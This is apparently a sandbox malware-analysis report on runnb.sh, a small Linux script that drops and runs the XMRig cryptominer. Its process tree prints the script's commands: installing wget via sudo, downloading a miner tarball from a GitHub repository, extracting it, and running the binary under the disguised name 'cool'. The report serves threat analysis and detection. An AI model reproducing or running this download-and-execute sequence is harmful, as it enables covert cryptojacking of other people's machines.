Analysis

  • max time kernel
    1799s
  • max time network
    1788s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    30-10-2024 08:18

General

  • Target

    runnb.sh

  • Size

    213B

  • MD5

    a1189543e2f98f6696c6d857b899ab0a

  • SHA1

    30b167128357a05cb5ae4d8bd386d63839d99c4d

  • SHA256

    a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6

  • SHA512

    472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Checks mountinfo of local process 1 TTPs 2 IoCs

    Checks mountinfo of running processes which indicate if it is running in chroot jail.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 35 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 49 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:2475
      • /usr/bin/sudo
        sudo apt install wget
        2⤵
        • OS Credential Dumping
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        • Reads runtime system information
        PID:2477
        • /usr/bin/apt
          apt install wget
          3⤵
          • Reads runtime system information
          PID:2478
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:2479
          • /usr/bin/dpkg
            /usr/bin/dpkg --print-foreign-architectures
            4⤵
            • Reads runtime system information
            PID:2480
          • /bin/sh
            /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
            4⤵
              PID:2484
              • /usr/bin/snap
                /usr/bin/snap advise-snap --from-apt
                5⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:2485
            • /bin/sh
              /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
              4⤵
                PID:2489
                • /usr/bin/snap
                  /usr/bin/snap advise-snap --from-apt
                  5⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:2490
              • /bin/sh
                /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                4⤵
                  PID:2494
                  • /usr/bin/snap
                    /usr/bin/snap advise-snap --from-apt
                    5⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:2495
                • /usr/bin/ischroot
                  /usr/bin/ischroot -t
                  4⤵
                  • Checks mountinfo of local process
                  • Reads runtime system information
                  PID:2499
                • /bin/sh
                  /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                  4⤵
                    PID:2500
                    • /usr/bin/snap
                      /usr/bin/snap advise-snap --from-apt
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2501
              • /usr/bin/apt
                apt install wget
                2⤵
                • Reads runtime system information
                PID:2505
                • /usr/bin/dpkg
                  /usr/bin/dpkg --print-foreign-architectures
                  3⤵
                  • Reads runtime system information
                  PID:2506
                • /usr/bin/dpkg
                  /usr/bin/dpkg --print-foreign-architectures
                  3⤵
                  • Reads runtime system information
                  PID:2507
                • /bin/sh
                  /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                  3⤵
                    PID:2508
                    • /usr/bin/snap
                      /usr/bin/snap advise-snap --from-apt
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2509
                  • /bin/sh
                    /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                    3⤵
                      PID:2513
                      • /usr/bin/snap
                        /usr/bin/snap advise-snap --from-apt
                        4⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:2514
                    • /bin/sh
                      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                      3⤵
                        PID:2518
                        • /usr/bin/snap
                          /usr/bin/snap advise-snap --from-apt
                          4⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:2519
                      • /usr/bin/ischroot
                        /usr/bin/ischroot -t
                        3⤵
                        • Checks mountinfo of local process
                        • Reads runtime system information
                        PID:2523
                      • /bin/sh
                        /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                        3⤵
                          PID:2524
                          • /usr/bin/snap
                            /usr/bin/snap advise-snap --from-apt
                            4⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:2525
                      • /usr/bin/wget
                        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:2530
                      • /usr/bin/tar
                        tar xvf xmrigtar.tar.gz
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:2533
                        • /usr/local/sbin/gzip
                          gzip -d
                          3⤵
                            PID:2534
                          • /usr/local/bin/gzip
                            gzip -d
                            3⤵
                              PID:2534
                            • /usr/sbin/gzip
                              gzip -d
                              3⤵
                                PID:2534
                              • /usr/bin/gzip
                                gzip -d
                                3⤵
                                  PID:2534
                              • /usr/bin/chmod
                                chmod +x xmrig
                                2⤵
                                • File and Directory Permissions Modification
                                PID:2535
                              • /usr/bin/mv
                                mv xmrig cool
                                2⤵
                                • Reads runtime system information
                                PID:2536
                              • /tmp/xmrig-6.22.0/cool
                                ./cool
                                2⤵
                                • Executes dropped EXE
                                • Checks hardware identifiers (DMI)
                                • Reads hardware information
                                • Checks CPU configuration
                                • Reads CPU attributes
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:2537

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /root/.wget-hsts

                              Filesize

                              215B

                              MD5

                              657495a280cf7aca681fe1a2f367ead0

                              SHA1

                              e94b7673a53d9a95c3516d00e8ec22e7b706c7b3

                              SHA256

                              2a9c792c6124f9f75306598a72ee2ef267d2d6d568bc586b5cc2a0e41ef0d8b4

                              SHA512

                              7afbf5bcbaa256bc82c9a5df182a300ad0620e92faa531db68c683cb366bd398b54b893f27dbc239461c7684b7fa5f12e7a6a442afa1aed95a91d135fe80e011

                            • /tmp/xmrig-6.22.0/SHA256SUMS

                              Filesize

                              150B

                              MD5

                              19f1bb08cf8997837b1f738b76ca97e9

                              SHA1

                              c497499ad539d6ef580c6c932a2633fe820abded

                              SHA256

                              99ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa

                              SHA512

                              fbb742f0fa67720e798b493a5e5ba5e72cbdde3c0ea55cfc0704f93ab97c586434a3e029f6e1e3ed655da997649aa8e9caf352018b87457755f75ca1bfe50230

                            • /tmp/xmrig-6.22.0/config.json

                              Filesize

                              919B

                              MD5

                              0a9b0011891eae4086d16c3364e772ff

                              SHA1

                              98fe8a7b5b6b0c0aa7635e4e388c67c863772b69

                              SHA256

                              1aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd

                              SHA512

                              9e1791e92d71b539aac8f944a3db65708ebfca102f16e3e7af429aaea1446be781c4ec5cb740a163dbc11a3bdacfed36d21262e05fcf29d896beb06ce0d59554

                            • /tmp/xmrig-6.22.0/config.json

                              Filesize

                              1KB

                              MD5

                              1879742a3f028a8e227f3b6b51756269

                              SHA1

                              20365c0cf35e787f525baede3646cfdfe6001cba

                              SHA256

                              4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5

                              SHA512

                              e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731

                            • /tmp/xmrig-6.22.0/xmrig

                              Filesize

                              7.9MB

                              MD5

                              7c52563e453ea33e7347af17ce9edb4e

                              SHA1

                              cf8c1674046d6d0d49588e7f73e86292b544c6f1

                              SHA256

                              7eb38722689b4334c5246a5d4b73dc700d2df150b1d9c35c00d7f1b8d71964a3

                              SHA512

                              3a5bf419f8b9ed213c4694f277bd05295f4cb42ad619ac432d4590fcda0308bc72e25124fe14860cf14ed3dda5a682c11ffaa713e59c463e0d51f3a97ed66686

                            • /tmp/xmrigtar.tar.gz

                              Filesize

                              3.4MB

                              MD5

                              ccdb2d76041e107dff38f962d65b3d4b

                              SHA1

                              e9360c43398f3725b0a3eb87e2448ac416d96be3

                              SHA256

                              11d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f

                              SHA512

                              f6b090c698cb1092bf10010bbe00fed0388e7117b8397cf3113a23271bb514d0d03b559de721896994b472f26f9e3aeeddc2877d71bcc7830313e97d2171033d